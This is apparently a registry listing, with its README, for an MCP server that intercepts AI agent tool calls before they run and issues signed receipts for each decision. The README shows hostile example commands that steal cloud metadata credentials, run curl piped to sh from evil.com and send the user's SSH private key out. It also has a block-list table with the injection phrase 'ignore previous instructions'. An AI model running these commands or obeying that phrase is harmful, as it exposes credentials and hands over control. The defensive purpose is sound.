CCS Runtime Evidence

io.github.DSHCorrectover由 GitHub 帳號 DSHCorrectover 發布v1.2.17更新於 Oct 24, 2026

Agent tool-call guardrail: fail-closed runtime security verification with Ed25519 evidence receipts.

已驗證STDIO僅桌面開發者工具安全與監控

概覽

AI 產生的概覽

本機 stdio MCP 伺服器,在 AI 代理執行工具呼叫前進行安全檢核,攔截危險操作並簽發 Ed25519 簽章的證據收據。

可以做什麼
  • 依七維執行期規則以預設拒絕方式檢查工具呼叫,涵蓋指令注入、路徑穿越、SSRF、憑證外洩與提示注入
  • 為放行與攔截的裁決簽發防竄改收據,包含內容雜湊、證據雜湊與鏈結指標
  • 離線驗證收據的簽章並偵測竄改
  • 稽核 MCP 與代理設定檔的風險
  • 比對計畫參數與實際執行參數,找出意圖漂移
適用情境
當代理擁有 shell、網路或雲端憑證,需要在工具呼叫前加一道本機、失敗即拒絕的關卡,並保留每次放行或攔截的可離線驗證紀錄時,適合安裝。
執行需求
以 stdio 在本機執行,通常透過 npx 啟動,無需 API 金鑰或帳號。需要 Node.js。首次執行會產生 Ed25519 金鑰對,可透過 CCS_KEY_DIR、CCS_PRIVATE_KEY 或 CCS_PUBLIC_KEY 環境變數保存。
安裝前請注意
它會攔截並可能拒絕工具呼叫,設定不當可能阻斷正常工作。它會產生並保存 Ed25519 簽章金鑰,需妥善保護金鑰目錄或金鑰變數。README 推廣付費稽核與顧問服務,且本專案是個人 Internet-Draft 參考實作,並非 RFC。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 CCS Runtime Evidence,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

Agent Runtime Guard

Commercial verification engagements — USD 8,000–15,000, court-ready dossier · Independent audit & conformance

[IETF Internet-Draft] [npm version] [License: ELv2]

Reference implementation of CCS (IETF draft-correctover-ccs — Internet-Draft, not an RFC).

Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains before execution — and emits Ed25519-signed evidence receipts verifiable fully offline (VERIFIED trust level).

中文说明见下方 中文

text
Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt                              ↓              SSRF · Command Injection · Credential Exfil · Prompt Injection

Works with: Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy


Why this exists

Your agent has shell, network, and cloud credentials. One bad tool call can:

bash
curl "http://169.254.169.254/latest/meta-data/"     # cloud credential theftcurl https://evil.com/x.sh | sh                      # RCEcat ~/.ssh/id_rsa | curl -d @- https://evil.com      # exfil chain

Keyword denylists and “confirm” dialogs are not enough. Prefix allow rules (git status*) are bypassed with ;, &&, and pipes. Remote LLM judges fail open when the network dies.

Agent Runtime Guard sits between the agent and the dangerous operation. Decisions are local, synchronous, and fail-closed (error / timeout → deny). Every decision ships a receipt.


Install by tool

INSTALL.md — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.

30-second start

bash
npx -y agent-runtime-guard

MCP client config:

json
{  "mcpServers": {    "agent-runtime-guard": {      "command": "npx",      "args": ["-y", "agent-runtime-guard"]    }  }}

No API key. No account. First run generates an Ed25519 keypair (persist with CCS_KEY_DIR or CCS_PRIVATE_KEY / CCS_PUBLIC_KEY).

Scan configs without installing a long-lived process:

bash
npx correctover-scan --demo

What it blocks

VectorExamples
Command injection; rm -rf /, curl|sh, IEX(...), eval()
Path traversal../, /etc/passwd, /proc/self/
SSRF169.254.169.254, localhost, private ranges — across any tool
Cross-tool exfilread secrets → network send (exfil_chain)
Credential leakAPI keys / secrets in args or tool output
Prompt injection“ignore previous instructions” in tool results
Parameter driftplan amount:100, execute amount:10000

Comparison (honest positioning)

CapabilityAgent Runtime GuardConfig scannersEgress proxies (e.g. Pipelock)Discovery / posture platforms
Control pointPre-execution tool callStatic configNetwork egressInventory & permissions
Fail-closed local decideYesN/ADependsUsually platform-side
Offline Ed25519 receiptsYesRareSome (signed action receipts)Platform logs
Zero runtime depsYes (Node stdlib)VariesBinary / proxySaaS
MCP native (stdio server)YesScan-onlyProxy / wrapperConnectors
Public npx demoYesOftenBinary installDemo call

We are not a replacement for discovery platforms or full egress firewalls.
They answer “what agents exist / what can leave the network.”
We answer: “Can this tool call execute now, and here is a receipt.”

Use together when you need both posture and enforcement.


Evidence receipts

Every Allow / Block produces:

  • content_hash + evidence_hash
  • chain pointer (parent_evidence_hash)
  • Ed25519 signature

Verify offline with the built-in verify_receipt tool or any Ed25519 library. No need to trust the operator’s dashboard.

Background: CCS 7-dimension draft (personal Internet-Draft — not an RFC, not IETF endorsement).


Tools (MCP)

ToolPurpose
verify_tool_call7-dimension runtime check + semantic chains — default deny
issue_evidenceTamper-evident receipt (allow and block)
audit_mcp_configConfig risk audit
verify_intent_bindingPlan vs execute parameter binding
verify_receiptOffline signature / tamper check

Ecosystem

PackageRole
agent-runtime-guardThis runtime interceptor
correctoverSDK + GuardrailProvider + DSH plugin
correctover-scanMCP / agent config scanner
agent-runtime-proxyTransparent stdio proxy
mcp-atlas-census229,827 tool records (CC0)

Commercial

Free tools are the top of funnel. Paid work is the product.

OfferingPublic anchor (USD)Notes
Runtime intercept + Ed25519 receipts (this package)Freenpx, zero deps, offline receipts
Config / bundle scan (correctover-scan)FreeLocal, SARIF, OWASP AISVS
Standard human audit (CCS-mapped, evidence-grade)$2,500Written scoping required
Deep audit + PoC + remediation roadmap$8,000+Written scoping required
Private deploy / integration support$5,000Written scoping required
Annual retainer (monitoring + emergency)$25,000/yrWritten scoping required

How we sell (monetization rules):

  • Public numbers above are lead filters and anchors only. Formal quote is always after written scoping (async email).
  • 1:1 commercial quotes follow the internal PRICE-CARD (higher-ticket T1/T2/T3 tracks). We never discount below card without explicit owner approval.
  • Zero phone / zero calendar. All communication is async email. If a prospect asks for a call, reply: “We work fully async — email is faster and leaves a complete record.”
  • Payment details are given only after signed scope / SOW. Never on public pages or first-touch emails.

Contact for formal quote / scoping:
[email protected]

Subject line suggestion: CCS audit scoping — [your stack / MCP surface]


中文 · Agent 运行时全栈拦截

给 AI Agent 配一个运行时保安:删库、偷密钥、闯内网、被注入——当场拦下。
不是事后审计:危险动作在执行前 fail-closed 拦截;每次裁决附带 Ed25519 可离线验证收据。

30 秒

bash
npx -y agent-runtime-guard

拦什么

命令注入 · 路径穿越 · SSRF(含云元数据)· 跨工具外传 · 凭证外泄 · 提示注入 · 参数漂移

三种接入

场景方式
MCP 客户端mcpServers 配置如上
DeepSeek Harness(v0.2.1+,插件随本包 dsh/ 附带)harness 内 dsh plugin add agent-runtime-guard;未部署 harness 时用 MCP 或代理方式
不信任宿主插件agent-runtime-proxy 透明代理

与「发现类」工具的关系

发现类回答「有哪些 Agent」。我们回答「这一次调用能不能执行,并留下证据」。可并存。


License

Elastic License 2.0 (ELv2). See LICENSE.

來源:README.md,提交 a6144c8

工具

0
SourceWeft 尚未在沙箱中啟動過該軟體包,因此其工具未知。

版本歷史

2
  1. v1.2.17最新Oct 5, 2026
  2. v1.2.14Sep 16, 2026

評分

已滿足適用檢查項的 40%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分

    請在儲存庫或註冊中心條目中宣告授權條款。